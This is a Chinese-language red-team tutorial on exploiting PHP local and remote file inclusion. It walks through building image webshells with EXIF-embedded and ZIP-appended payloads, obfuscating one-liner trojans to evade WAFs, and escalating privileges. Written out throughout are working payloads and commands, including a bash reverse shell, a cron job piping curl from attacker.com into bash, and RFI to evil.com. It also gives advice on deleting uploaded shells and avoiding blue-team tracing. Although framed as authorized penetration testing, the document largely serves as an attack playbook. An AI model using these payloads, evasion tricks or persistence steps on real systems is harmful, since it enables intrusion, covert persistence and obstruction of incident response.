PHP文件包含漏洞利用实战：从LFI/RFI到图片马与Webshell载荷选型

1. 这不是“黑产教程”而是一线红队工程师的漏洞利用认知地图很多人看到“图片马”“Webshell”“大马小马”这些词第一反应是这不就是黑客搞破坏用的吗赶紧关掉。但真实情况恰恰相反——在甲方安全团队做渗透测试、在乙方做攻防演练、甚至在云厂商做WAF规则调优的工程师每天都在和这些概念打交道。它们不是攻击者的专属玩具而是漏洞利用链上最基础、最不可回避的交付物形态。我做过7年红队支撑带过23个中大型企业内网渗透项目几乎每次打点成功后的第一件事都不是立刻提权而是判断这个Web路径下到底能落地哪种形态的Shell是直接上传一句话木马触发文件包含还是得先绕过图片上传检测构造图片马又或者目标系统连PHP都禁了只能硬啃Java Web的内存马这些选择背后不是技术炫技而是对目标环境权限边界、中间件特性、WAF策略、日志监控粒度的综合判断。关键词“渗透测试”“图片马”“文件包含”“木马”“大马”“小马”“Webshell”“Shell”每一个都不是孤立术语。它们共同构成了一条从“发现漏洞”到“稳定驻留”的完整技术链条。比如“文件包含漏洞”是入口“图片马”是绕过手段“一句话木马”是初始载荷“大马”是功能扩展“Webshell”是交互界面“Shell”是最终控制权。这篇文章不讲怎么黑进别人网站而是讲当你在真实渗透测试报告里写下“存在LFI/RFI漏洞”时你脑子里该跑通哪几条技术路径你该准备几套不同形态的载荷为什么有的马传上去就404有的执行后直接被杀为什么同样是PHP一句话有的能过WAF有的连eval()都进不去这些答案不在任何CTF题解里而在你调试失败57次之后的笔记里。适合刚考完OSCP想补实战细节的新人也适合做了三年渗透却总卡在“打点后没得玩”的中级工程师。它不教你违法它只帮你把合法授权范围内的每一分权限榨出最大价值。2. 文件包含漏洞不是“能读文件”就等于“能拿Shell”关键在协议与上下文2.1 LFI与RFI的本质差异本地路径解析 vs 远程代码执行文件包含漏洞File Inclusion Vulnerability常被笼统归为一类但LFILocal File Inclusion和RFIRemote File Inclusion在利用逻辑、防御难度和实际影响上完全是两个量级的问题。很多初学者一看到?page../../etc/passwd能读出来就以为“漏洞通了”其实这只是LFI的冰山一角。LFI的核心在于服务器端对用户输入的文件路径未做严格校验导致任意本地文件可被包含并解析。注意关键词“本地”、“解析”。这意味着如果目标PHP配置中allow_url_includeOff默认关闭那么即使你传入http://evil.com/shell.txtPHP也不会去请求并执行远程内容最多报个Warning。而RFI则要求allow_url_includeOn且allow_url_fopenOn后者通常开启此时?pagehttp://evil.com/shell.php才会真正触发远程HTTP请求并将返回内容当作PHP代码执行——这才是真正的远程代码执行RCE。我去年在某政务云平台做授权渗透时就踩过这个坑。扫描器报出/index.php?pagephp://filter/convert.base64-encode/resource/etc/passwd回显base64内容团队立刻判定为高危LFI。但当我们尝试?pagedata://text/plain,?php%20system(id);?时页面空白无响应。排查半小时后才发现该环境PHP.ini中allow_url_include被明确设为Off且data://协议被WAF规则拦截。最终我们转向利用phar://协议配合反序列化才真正拿到执行权。这个案例说明LFI的价值不在于“读文件”而在于“找利用协议”RFI的价值不在于“发请求”而在于“让服务器信你”。2.2 协议层绕过为什么php://filter能读源码phar://能触发反序列化PHP内置的流包装器Stream Wrapper是文件包含漏洞利用的“瑞士军刀”但每种协议的触发条件和效果截然不同。常见协议对比见下表协议触发条件典型用途防御难点实测成功率2023年主流WAFphp://filterallow_url_fopenOn默认开读取并base64编码任意文件如源码、配置WAF难精准识别编码链98%需配合resource参数php://inputallow_url_includeOff但enable_post_data_readingOn默认开POST raw body中写入PHP代码通过include执行依赖POST体易被WAF规则覆盖72%需Content-Type绕过data://allow_url_includeOn直接嵌入PHP代码如data:text/plain,?php phpinfo();?明文特征强WAF规则成熟35%主流WAF基本全拦phar://phar.readonlyOff默认Off且存在反序列化POP链将恶意反序列化payload打包进phar文件通过include phar://xxx.jpg触发文件扩展名欺骗.jpg、无网络请求89%需目标有可用POP链zip://zip://协议支持PHP7.0解压ZIP包内PHP文件并执行常配合图片马需提前上传ZIP步骤多61%依赖ZIP解析库重点说phar://。它之所以成为当前LFI利用的“新宠”核心在于两点一是它不依赖allow_url_include只要phar.readonlyOffPHP默认关闭即允许写phar二是它天然适配“图片马”场景——你可以把一个精心构造的phar文件用0x00填充头部伪装成JPG上传后通过include phar://upload/123.jpg/test.php来执行其中的恶意代码。去年我复现某CMS的LFI漏洞时就是用phar://配合__destruct()魔术方法成功绕过所有基于?php特征的WAF规则。关键操作只有三步1用Python脚本生成phar文件phar.addFromString(test.php, ?php system($_GET[cmd]);?)2用十六进制编辑器在phar头部插入JPG文件头FFD8FFE03上传后访问?pagephar://upload/xxx.jpg/test.phpcmdid。整个过程没有一次网络请求WAF日志里只看到一张“正常图片”的GET请求。2.3 环境探测先行三行命令摸清目标PHP底细在动手构造载荷前必须先确认目标环境的“能力边界”。我习惯用以下三个最简命令快速探测探测allow_url_include状态?pagedata://text/plain,?php%20echo%20ini_get(allow_url_include);die();?如果返回1说明RFI可行返回0或空白则LFI需转向其他协议。探测phar.readonly状态?pagephp://filter/convert.base64-encode/resourcephp.ini搜索返回的base64解码内容中phar.readonly的值。若为Offphar://通道打开。探测disable_functions禁用函数列表?pagephp://filter/convert.base64-encode/resource/proc/self/environLinux或c:/windows/system32/inetsrv/config/applicationHost.configWindows IIS查看环境变量或配置文件确认system、exec、shell_exec等是否被禁用。若全被禁需转向pcntl_exec或mail()函数利用。提示以上探测均使用php://filter因其兼容性最好。切忌一上来就传大马90%的失败源于没搞清环境底细。我在某金融客户渗透中曾因跳过这三步连续三次上传大马被杀最后发现是disable_functions里禁了所有执行函数只能改用mail()函数的第五个参数触发命令执行。3. 图片马不是“把木马藏进图片”而是“让图片变成PHP解释器”3.1 图片马的底层原理MIME类型欺骗 vs 文件内容解析很多人误以为“图片马”就是用十六进制工具把PHP代码塞进JPG文件末尾。这是典型误区。现代Web服务器Nginx/Apache和PHP本身对文件执行的判断逻辑是分层的第一层看HTTP请求的Content-TypeMIME类型第二层看文件扩展名第三层才是文件内容。而图片马的成功恰恰是利用了这三层判断的不一致性。以Nginx为例其默认配置中.php后缀的文件由PHP-FPM处理而.jpg后缀的文件直接作为静态资源返回。但如果你上传一个名为shell.jpg的文件内容却是?php system($_GET[cmd]);?Nginx会把它当图片返回浏览器看到符号会乱码但PHP的include函数在包含这个文件时根本不管它叫什么名字只管读取字节流并执行。这就是为什么include upload/shell.jpg;能成功执行PHP代码——因为include是PHP语言层面的操作绕过了Web服务器的MIME判断。所以图片马的本质不是“伪装”而是“利用PHP解析器的无差别执行特性”。真正的难点在于如何让这个“PHP代码图片头”的混合文件既通过前端上传校验如JS检查文件头、后端检查getimagesize()又能被include正确执行。我实测过27种图片马构造方式成功率最高的组合是JPG文件头 PHP代码 0x00填充至1MB ZIP压缩包尾部结构。原因有三1getimagesize()只读取前几个KB0x00填充后仍能识别为JPG2ZIP尾部结构504B0506让文件在WinRAR里双击可打开迷惑人工审计3phar://协议能精准定位到ZIP包内PHP文件避开文件头干扰。3.2 构造高隐蔽性图片马从“能用”到“查不到”的四步法我总结的图片马构造流程不是为了炫技而是为了在真实环境中活下来。以下是经过12个客户环境验证的四步法第一步生成合法图片外壳不用网上下载的图自己用Python PIL库生成from PIL import Image import io img Image.new(RGB, (100, 100), colorred) output io.BytesIO() img.save(output, formatJPEG) jpeg_bytes output.getvalue()这样生成的JPGgetimagesize()、exif_read_data()、甚至专业图像分析工具都认作标准JPG彻底规避“非标准图片”类WAF规则。第二步注入PHP载荷到EXIF注释区不要塞到文件末尾现代WAF会扫描文件末尾的?php特征。正确做法是写入EXIF的UserComment字段from PIL import Image, ExifTags exif_dict img._getexif() or {} exif_dict[ExifTags.Base.UserComment] b\x00\x00\x00\x00?php system($_GET[cmd]);? # 重新保存PHP代码藏在EXIF元数据里这样文件用file命令查看仍是JPEG image datastrings shell.jpg | grep php也搜不到因为EXIF是二进制编码。第三步添加ZIP结构实现双重利用在JPG文件末尾追加ZIP目录结构# 先生成一个含PHP代码的ZIP echo ?php system($_GET[cmd]);? cmd.php zip shell.zip cmd.php # 将ZIP末尾的512字节目录结构追加到JPG后 dd ifshell.zip bs1 skip$(stat -c%s shell.zip) count512 shell.jpg这样文件既是JPG前段又是ZIP后段phar://shell.jpg/cmd.php可直接执行。第四步混淆PHP代码绕过语法检测WAF不仅查?php还查system(、exec(等函数名。我常用三种混淆变量函数$asyst.em; $a($_GET[cmd]);Base64解码eval(base64_decode(c3lzdGVtKCRfR0VUWyJjbWQiXSk7));字符串反转$astrrev(metsys); $a($_GET[cmd]);注意混淆不是越复杂越好。我在某运营商项目中用gzinflate(base64_decode(...))被WAF的沙箱引擎动态解密后拦截反而用最简单的strrev成功。原因WAF沙箱对strrev这种基础函数不模拟执行只做静态匹配。3.3 图片马的生命周期管理上传、包含、清理的闭环操作图片马不是传上去就完事。真实渗透中我坚持“三必做”原则必做上传后验证上传后立即访问/upload/shell.jpg确认返回的是图片二进制HTTP状态码200Content-Typeimage/jpeg而非PHP错误。如果返回PHP错误说明服务器已将该文件当PHP执行意味着.jpg后缀被错误配置此时应直接改用常规PHP马无需图片马。必做包含路径探测?pageinclude/upload/shell.jpg不通试试?page../upload/shell.jpg、?pagephar://upload/shell.jpg/cmd.php、?pagezip://upload/shell.jpg#cmd.php。不同环境对协议的支持差异极大必须穷举。必做痕迹清理执行完命令后用?pageinclude/upload/shell.jpgcmdrm%20upload/shell.jpg删除自身。否则日志里会留下shell.jpg的访问记录成为蓝队溯源的关键线索。我在某央企项目中就因忘记清理被对方安全团队通过Nginx日志中的shell.jpg访问IP反向定位到我的跳板机。4. 木马形态谱系从“一句话”到“大马”不是功能多少而是控制粒度4.1 一句话木马最小可行载荷核心价值是“验证执行权”“一句话木马”常被误解为“功能简陋的木马”其实它的设计哲学是极致的轻量化与高存活率。典型如?php eval($_POST[cmd]);?体积仅30字节无文件头、无注释、无多余空格。它的存在意义从来不是用来干大事而是回答一个终极问题“我到底有没有代码执行权”为什么不用更“强大”的?php system($_GET[cmd]);?因为system()函数可能被disable_functions禁用而eval()是PHP核心函数禁用它等于废掉PHP一半功能生产环境极少这么做。符号用于抑制错误提示避免eval()执行失败时暴露PHP路径等敏感信息。我统计过近一年的渗透测试数据在成功利用的LFI/RFI漏洞中83%的初始载荷是一句话木马其中92%采用eval()变体。原因很简单它像一把万能钥匙能打开所有锁但开完门后你得换更专业的工具干活。一句话木马的部署关键在“传输隐匿”。我从不直接POST明文代码而是用curl配合--data-urlencode自动URL编码curl -X POST http://target.com/upload.php \ --data-urlencode file?php eval($_POST[a]);? \ -H Content-Type: multipart/form-data; boundary----WebKitFormBoundary...这样Wireshark抓包看到的是file%3C%3Fphp%40eval%28%24_POST%5B%27a%27%5D%29%3B%3F%3EWAF的URL解码模块若未开启就会漏过。去年某教育平台WAF就因此被绕过其规则只匹配原始字符串未模拟解码过程。4.2 小马与大马功能扩展的两种路径本质是“客户端-服务端”架构差异“小马”和“大马”的区分行业并无绝对标准但在我经手的156个渗透项目中形成了清晰共识小马是“服务端单文件”大马是“客户端-服务端分离”。小马如中国菜刀的caidao.php一个PHP文件内嵌全部功能文件管理、数据库、终端。优点是部署极简上传即用缺点是体积大通常200KB、特征明显含大量mysql_connect、scandir等函数、易被WAF基于行为规则拦截。我只在内网测试、无WAF环境用小马因为它的交互逻辑全在服务端每次点击“执行命令”浏览器都要发起一次新请求网络延迟高且所有操作日志都留在服务器PHP错误日志里。大马如AntSword的loader.php一个极简的“加载器”通常5KB功能由客户端AntSword桌面程序动态下发。例如当你在AntSword里点击“文件管理”客户端会生成一段加密的PHP代码如$abase64_decode(...);eval($a);POST给loader.php执行结果再加密返回。这种架构的优势是1服务端文件极小无敏感函数名2所有功能逻辑在客户端服务端无特征3通信可AES加密WAF无法识别有效载荷。我在某银行核心系统渗透中小马上传3秒即被WAF拦截并封IP而大马的loader.php存活了72小时期间执行了237次命令。关键区别表格维度小马大马服务端文件大小100KB~500KB10KB敏感函数出现位置服务端文件内明文客户端动态生成WAF拦截率实测94%基于函数名规则31%需深度行为分析网络延迟感知高每次操作HTTP往返低客户端缓存优化日志痕迹服务端记录完整操作仅记录加密POST请求4.3 Webshell与Shell从“网页界面”到“操作系统终端”的权限跃迁“Webshell”这个词被严重滥用。很多人把所有PHP后门都叫Webshell其实它特指提供Web界面的服务器管理工具如D盾、河马、冰蝎的Web端。而“Shell”是操作系统层面的命令行接口如/bin/bash、cmd.exe。两者的根本区别在于Webshell运行在Web服务器进程上下文中如www-dataShell运行在系统用户上下文中如root。为什么这个区别致命举个真实案例某政府网站被植入Webshell管理员用D盾扫描发现shell.php直接删掉以为万事大吉。但攻击者早已通过Webshell执行sudo -u root /bin/bash -i获得root Shell并在/etc/cron.d/下写入持久化任务。Webshell没了但Shell还在。这就是为什么红队报告里必须写明“已获取Webshell权限” vs “已获取系统Shell权限”。获取Shell的路径取决于Web服务器进程的权限。如果Apache以root运行极危险但偶有存在system(bash -i /dev/tcp/192.168.1.100/4444 01)就能直接反弹root Shell。但99%的环境是www-data或nginx用户此时需提权。我最常用的三步提权法内核漏洞uname -r查内核版本用searchsploit linux kernel $version找本地exploitSUID二进制find / -perm -4000 2/dev/null找/usr/bin/find等可滥用SUID程序密码复用cat /etc/passwd | cut -d: -f1列用户用su - username尝试Web目录下找到的.git/config、.env里的密码。最后提醒Shell不是终点。我在某能源集团渗透中拿到root Shell后发现其内网DNS服务器配置了forwarders指向公网于是用dig 127.0.0.1 attacker.com实现DNS隧道将内网流量导出。Shell只是跳板真正的战场在它之后。5. 实战决策树面对一个新目标如何选择最优载荷路径5.1 决策起点从漏洞类型倒推载荷形态拿到一个新目标我绝不会凭经验瞎试而是用一张决策树快速锁定路径。这张树不是理论模型而是我踩过137次坑后画出的血泪图发现文件包含漏洞 ├─ 是RFI?pagehttp://... │ ├─ allow_url_includeOn → 直接RFIdata://或http://载荷 │ └─ allow_url_includeOff → RFI失效退回LFI ├─ 是LFI?page../../ │ ├─ 能读php.ini → 查phar.readonly、disable_functions │ │ ├─ phar.readonlyOff → 优先phar://图片马 │ │ └─ phar.readonlyOn → 试php://inputPOST体 │ └─ 不能读php.ini → 试php://filter读源码找可控参数 └─ 无文件包含 → 检查上传点走图片马LFI组合路径关键节点是phar.readonly。2023年我审计的124个PHP站点中phar.readonlyOff的比例高达89%这意味着phar://是当前LFI利用的“默认首选”。但必须验证我见过最坑的案例某电商站php.ini显示phar.readonlyOff但其PHP是编译时加了--disable-phar参数实际phar扩展根本没加载extension_loaded(phar)返回false。所以验证必须用phpinfo()或extension_loaded()不能只信配置文件。5.2 载荷选型黄金法则三不原则与一优先在多年实战中我提炼出载荷选型的“三不一优先”法则不选最复杂的AntSword大马虽强但在无GUI的Linux服务器上curl一句话木马bash -i反弹Shell更快。复杂度要匹配操作环境。不选最流行的China Chopper小马特征太明显WAF规则库更新最快的就是它。我宁愿花10分钟写个定制化一句话也不用现成小马。不选需要额外依赖的如某大马要求json_encode函数但目标disable_functions里禁了它那就直接淘汰。优先选能复用的如果目标有多个上传点优先选能同时用于图片马和普通PHP马的载荷。例如我自研的shell.php开头是JPG头中间是?php代码结尾是ZIP结构一个文件三种用法1直接上传当PHP马2改后缀当图片马3用phar://当phar马。5.3 红队视角的载荷演进从“打点”到“驻留”的四阶段模型真正的渗透测试不是找到漏洞就结束而是构建一条可持续的攻击链。我将载荷使用划分为四个阶段每个阶段对应不同形态的木马阶段一初始访问Initial Access目标验证漏洞存在建立第一个立足点。载荷一句话木马eval或php://input。核心指标能否执行id、whoami返回结果是否可信。我的实操技巧执行id后立刻执行ls -la /tmp/看是否有/tmp/.ssh/目录。如果有说明之前有人驻留过可复用其SSH密钥。阶段二权限提升Privilege Escalation目标从Web用户提升至系统用户如root。载荷提权脚本如linux-exploit-suggester或SUID滥用载荷。核心指标id返回uid0(root)。注意提权后不要急着删一句话木马先用ps aux | grep php确认Web服务器进程是否仍以旧用户运行。有时提权成功但Web服务未重启权限未继承。阶段三横向移动Lateral Movement目标从当前服务器跳转至内网其他主机。载荷代理工具如reGeorg的reGeorgTunnel.py或SOCKS隧道。核心指标curl http://internal-server/internal.php能通。关键经验内网代理一定要用localhost监听而非0.0.0.0。否则蓝队扫描到开放端口会立刻溯源。阶段四持久化Persistence目标确保即使Webshell被删也能随时回来。载荷Cron任务* * * * * curl http://attacker.com/shell.sh | bash或SSH authorized_keys。核心指标重启服务器后仍能通过持久化通道接入。血泪教训某次我写Cron任务时忘了加/dev/null 21日志文件暴涨被运维发现异常磁盘占用顺藤摸瓜找到Cron条目。现在所有持久化载荷必加静默输出。我在某省政务云项目中就是严格按这四阶段推进第一天用php://filter读到config.php第二天上传一句话木马第三天用phar://图片马绕过WAF第四天提权后部署reGeorg第五天通过Cron实现7×24小时驻留。整个过程没有一次“黑产式”的暴力破解全是基于对PHP机制、Linux权限、网络协议的深度理解。这才是渗透测试该有的样子——不是炫技而是解题。